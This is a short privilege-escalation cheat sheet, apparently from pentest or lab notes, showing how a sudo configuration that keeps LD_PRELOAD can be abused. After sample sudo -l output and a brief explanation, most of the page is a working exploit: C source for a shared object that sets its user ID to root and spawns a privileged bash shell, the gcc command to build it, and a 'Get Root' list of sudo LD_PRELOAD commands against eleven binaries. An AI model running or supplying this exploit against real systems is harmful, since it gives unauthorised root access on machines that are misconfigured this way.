Skip to content

SUDO - preload

Sudo can be configured to inherit certain environment variables from the user's environment. Check which environment variables are inherited (look for the env_keep options):

sudo -l

--> Matching Defaults entries for user on this host:
-->     env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
--> 
--> User user may run the following commands on this host:
-->     (root) NOPASSWD: /usr/sbin/iftop
-->     (root) NOPASSWD: /usr/bin/find
-->     (root) NOPASSWD: /usr/bin/nano
-->     (root) NOPASSWD: /usr/bin/vim
-->     (root) NOPASSWD: /usr/bin/man
-->     (root) NOPASSWD: /usr/bin/awk
-->     (root) NOPASSWD: /usr/bin/less
-->     (root) NOPASSWD: /usr/bin/ftp
-->     (root) NOPASSWD: /usr/bin/nmap
-->     (root) NOPASSWD: /usr/sbin/apache2
-->     (root) NOPASSWD: /bin/more
  • LD_PRELOAD and LD_LIBRARY_PATH are both inherited from the user's environment.
  • LD_PRELOAD loads a shared object before any others when a program is run.
  • LD_LIBRARY_PATH provides a list of directories where shared libraries are searched for first.

preload.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        unsetenv("LD_PRELOAD");
        setresuid(0,0,0);
        system("/bin/bash -p");
}

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/preload.c

Get Root

sudo LD_PRELOAD=/tmp/preload.so /usr/sbin/iftop
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/find
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/nano
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/vim
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/man
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/awk
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/less
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/ftp
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/nmap
sudo LD_PRELOAD=/tmp/preload.so /usr/sbin/apache2
sudo LD_PRELOAD=/tmp/preload.so /bin/more